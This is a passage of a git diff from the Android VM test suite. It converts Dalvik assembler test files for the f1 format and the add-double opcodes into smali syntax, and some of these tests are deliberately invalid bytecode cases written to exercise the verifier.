diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.d
deleted file mode 100644
index e3a993f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_5.java
-.class public dot.junit.format.f1.d.T_f1_5
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali
new file mode 100644
index 0000000..318039e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_5.java"
+.class  public Ldot/junit/format/f1/d/T_f1_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.d
deleted file mode 100644
index 6bb0bf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_6.java
-.class public dot.junit.format.f1.d.T_f1_6
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali
new file mode 100644
index 0000000..92b89cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_6.java"
+.class  public Ldot/junit/format/f1/d/T_f1_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.d
deleted file mode 100644
index 61f31b1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_7.java
-.class public dot.junit.format.f1.d.T_f1_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali
new file mode 100644
index 0000000..2bc1c15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_7.java"
+.class  public Ldot/junit/format/f1/d/T_f1_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.d
deleted file mode 100644
index c622eb0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_8.java
-.class public dot.junit.format.f1.d.T_f1_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali
new file mode 100644
index 0000000..6224337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_8.java"
+.class  public Ldot/junit/format/f1/d/T_f1_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.d
deleted file mode 100644
index 9a44f4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_9.java
-.class public dot.junit.format.f1.d.T_f1_9
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali
new file mode 100644
index 0000000..5288d5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_9.java"
+.class  public Ldot/junit/format/f1/d/T_f1_9;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.d
deleted file mode 100644
index f3d3653..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_1.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali
new file mode 100644
index 0000000..53b8997
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_1.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.smali
new file mode 100644
index 0000000..8abe502
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_double/d/T_add_double_2;
+.super Ljava/lang/Object;
+.source "T_add_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    add-double v0, p1, p3
+
+    return-wide p3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.d
deleted file mode 100644
index 548c00f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_3.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 7
-
-       add-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali
new file mode 100644
index 0000000..85aae4d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_3.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       add-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.d
deleted file mode 100644
index 7acfdfd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_4.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double v0, v3, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali
new file mode 100644
index 0000000..02fafb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_4.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.d
deleted file mode 100644
index 64b8613..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_5.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali
new file mode 100644
index 0000000..3a829fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_5.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.d
deleted file mode 100644
index 424bd3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_6.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-       move v1, v5
-       move v2, v6    
-       move v3, v6    
-       add-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali
new file mode 100644
index 0000000..4e58842
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_6.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6    
+       move v3, v6    
+       add-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.d
deleted file mode 100644
index 44d1f78..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_1.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali
new file mode 100644
index 0000000..cc26343
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.smali
new file mode 100644
index 0000000..859ce6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2;
+.super Ljava/lang/Object;
+.source "T_add_double_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    add-double/2addr p1, p3
+
+    return-wide p3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.d
deleted file mode 100644
index dd559d34..0000000
